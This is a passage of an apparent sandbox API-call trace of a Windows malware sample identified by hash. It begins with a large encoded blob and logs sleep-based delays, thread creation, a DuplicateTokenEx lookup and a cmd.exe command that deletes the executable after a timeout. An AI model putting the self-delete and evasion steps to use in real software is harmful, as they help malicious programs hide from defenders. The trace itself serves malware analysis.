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", pcchString=0x19aa28) returned 1
[0055.921] Sleep (dwMilliseconds=0x1)
[0055.931] Sleep (dwMilliseconds=0x3)
[0055.946] Sleep (dwMilliseconds=0x3)
[0055.962] Sleep (dwMilliseconds=0x7)
[0055.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40cf20, lpParameter=0x19aa18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508
[0055.978] Sleep (dwMilliseconds=0x1)
[0056.013] Sleep (dwMilliseconds=0x3)
[0056.024] Sleep (dwMilliseconds=0x3)
[0056.040] Sleep (dwMilliseconds=0x7)
[0056.056] Sleep (dwMilliseconds=0x3e8)
[0057.059] Sleep (dwMilliseconds=0x3e8)
[0058.075] Sleep (dwMilliseconds=0x3e8)
[0059.091] Sleep (dwMilliseconds=0x3e8)
[0060.108] Sleep (dwMilliseconds=0x3e8)
[0061.117] Sleep (dwMilliseconds=0x3e8)
[0066.023] Sleep (dwMilliseconds=0x1)
[0066.098] Sleep (dwMilliseconds=0x3)
[0066.264] Sleep (dwMilliseconds=0x3)
[0066.351] Sleep (dwMilliseconds=0x7)
[0070.123] Sleep (dwMilliseconds=0x1)
[0070.344] Sleep (dwMilliseconds=0x1)
[0070.442] Sleep (dwMilliseconds=0x1)
[0070.523] Sleep (dwMilliseconds=0x1)
[0070.604] Sleep (dwMilliseconds=0x1)
[0070.678] Sleep (dwMilliseconds=0x1)
[0070.861] Sleep (dwMilliseconds=0x1)
[0070.947] Sleep (dwMilliseconds=0x1)
[0071.102] Sleep (dwMilliseconds=0x1)
[0071.179] Sleep (dwMilliseconds=0x1)
[0074.428] Sleep (dwMilliseconds=0x1)
[0074.463] Sleep (dwMilliseconds=0x1)
[0074.502] lstrcatA (in: lpString1="", lpString2="/c " | out: lpString1="/c ") returned="/c "
[0074.502] lstrcatA (in: lpString1="/c ", lpString2="timeout /t 6 & del /f /q \"" | out: lpString1="/c timeout /t 6 & del /f /q \"") returned="/c timeout /t 6 & del /f /q \""
[0074.502] GetCurrentProcessId () returned 0x12ec
[0074.502] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x12ec) returned 0x518
[0074.502] GetModuleFileNameExA (in: hProcess=0x518, hModule=0x0, lpFilename=0x19a748, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe")) returned 0x62
[0074.504] CloseHandle (hObject=0x518) returned 1
[0074.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x6704a0
[0074.510] lstrcatA (in: lpString1="/c timeout /t 6 & del /f /q \"", lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe" | out: lpString1="/c timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe") returned="/c timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe"
[0074.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0074.511] lstrcatA (in: lpString1="/c timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe", lpString2="\" & exit" | out: lpString1="/c timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\" & exit") returned="/c timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\" & exit"
[0074.511] ShellExecuteExA (in: pExecInfo=0x19a868*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="open", lpFile="C:\\Windows\\System32\\cmd.exe", lpParameters="/c timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\" & exit", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x19a868*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="open", lpFile="C:\\Windows\\System32\\cmd.exe", lpParameters="/c timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\" & exit", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1
[0074.974] ExitProcess (uExitCode=0x0)
[0074.980] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6705a8 | out: hHeap=0x670000) returned 1
[0074.984] free (_Block=0x4f81c0)
[0075.161] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0)
Thread:
id = 2
os_tid = 0x12f4
Thread:
id = 3
os_tid = 0x1304
Thread:
id = 4
os_tid = 0x1308
Thread:
id = 5
os_tid = 0x130c
Thread:
id = 6
os_tid = 0x1310
Thread:
id = 115
os_tid = 0x132c
Thread:
id = 116
os_tid = 0x1330
Thread:
id = 121
os_tid = 0x1344
[0054.586] malloc (_Size=0x80) returned 0x4f81c0
[0054.591] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x6e5dd0
[0054.592] GetVersionExW (in: lpVersionInformation=0xe49ede8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xe49ee50, dwMinorVersion=0x1, dwBuildNumber=0xe49ee38, dwPlatformId=0x747465c7, szCSDVersion="้้\x10") | out: lpVersionInformation=0xe49ede8*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
[0054.592] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0xe49ede0 | out: phkResult=0xe49ede0*=0x500) returned 0x0
[0054.592] RegQueryValueExW (in: hKey=0x500, lpValueName="Default Impersonation Level", lpReserved=0x0, lpType=0x0, lpData=0xe49edd8, lpcbData=0xe49ede4*=0x4 | out: lpType=0x0, lpData=0xe49edd8*=0x3, lpcbData=0xe49ede4*=0x4) returned 0x0
[0054.592] RegCloseKey (hKey=0x500) returned 0x0
[0054.592] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x74cf78
[0054.592] GetSystemDirectoryW (in: lpBuffer=0x74cf78, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
[0054.592] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x0) returned 0x76df0000
[0054.593] GetProcAddress (hModule=0x76df0000, lpProcName="DuplicateTokenEx") returned 0x76e10ad0
[0054.593] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
[0054.593] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x7138f0
[0054.593] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x71afe8
[0054.593] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
[0054.631] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
[0054.631] GetCurrentThreadId () returned 0x1344
[0054.632] wcstol (in: _String="2020", _EndPtr=0xe49efec, _Radix=10 | out: _EndPtr=0xe49efec*="") returned 2020
[0054.632] wcstol (in: _String="03", _EndPtr=0xe49efec, _Radix=10 | out: _EndPtr=0xe49efec*="") returned 3
[0054.632] wcstol (in: _String="27", _EndPtr=0xe49efec, _Radix=10 | out: _EndPtr=0xe49efec*="") returned 27
[0054.632] wcstol (in: _String="15", _EndPtr=0xe49efec, _Radix=10 | out: _EndPtr=0xe49efec*="") returned 15
[0054.632] wcstol (in: _String="46", _EndPtr=0xe49efec, _Radix=10 | out: _EndPtr=0xe49efec*="") returned 46
[0054.632] wcstol (in: _String="17", _EndPtr=0xe49efec, _Radix=10 | out: _EndPtr=0xe49efec*="") returned 17
[0054.632] wcstol (in: _String="000000", _EndPtr=0xe49efec, _Radix=10 | out: _EndPtr=0xe49efec*="") returned 0
[0054.632] wcstol (in: _String="060", _EndPtr=0xe49effc, _Radix=10 | out: _EndPtr=0xe49effc*="") returned 60
[0054.633] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
[0054.633] GetCurrentThreadId () returned 0x1344
[0054.633] SystemTimeToFileTime (in: lpSystemTime=0xe49f038, lpFileTime=0xe49effc | out: lpFileTime=0xe49effc) returned 1
[0054.633] FileTimeToSystemTime (in: lpFileTime=0xe49efd4, lpSystemTime=0xe49f038 | out: lpSystemTime=0xe49f038) returned 1
[0054.633] FileTimeToSystemTime (in: lpFileTime=0xe49efd4, lpSystemTime=0xe49f038 | out: lpSystemTime=0xe49f038) returned 1
[0054.633] SystemTimeToFileTime (in: lpSystemTime=0xe49f038, lpFileTime=0xe49effc | out: lpFileTime=0xe49effc) returned 1
[0054.633] FileTimeToSystemTime (in: lpFileTime=0xe49efdc, lpSystemTime=0xe49f038 | out: lpSystemTime=0xe49f038) returned 1
[0054.633] GetTimeZoneInformation (in: lpTimeZoneInformation=0xe49ef20 | out: lpTimeZoneInformation=0xe49ef20) returned 0x2
[0054.633] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xe49f038, lpLocalTime=0xe49efd4 | out: lpLocalTime=0xe49efd4) returned 1
[0054.633] SystemTimeToFileTime (in: lpSystemTime=0xe49f038, lpFileTime=0xe49ef18 | out: lpFileTime=0xe49ef18) returned 1
[0054.633] SystemTimeToFileTime (in: lpSystemTime=0xe49efd4, lpFileTime=0xe49ef10 | out: lpFileTime=0xe49ef10) returned 1
[0054.633] FileTimeToSystemTime (in: lpFileTime=0xe49efdc, lpSystemTime=0xe49f038 | out: lpSystemTime=0xe49f038) returned 1
[0054.633] SystemTimeToFileTime (in: lpSystemTime=0xe49f038, lpFileTime=0xe49f030 | out: lpFileTime=0xe49f030) returned 1
[0054.633] _ui64tow_s (in: _Value=0x1d6044eda462a80, _Buffer=0xe49f048, _BufferCount=0x15, _Radix=10 | out: _Buffer="132297975770000000") returned 0x0
[0054.663] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
Thread:
id = 122
os_tid = 0x1348
Thread:
id = 123
os_tid = 0x134c
[0055.980] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x400) returned 0xe056948
[0055.980] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x400) returned 0xe056d50
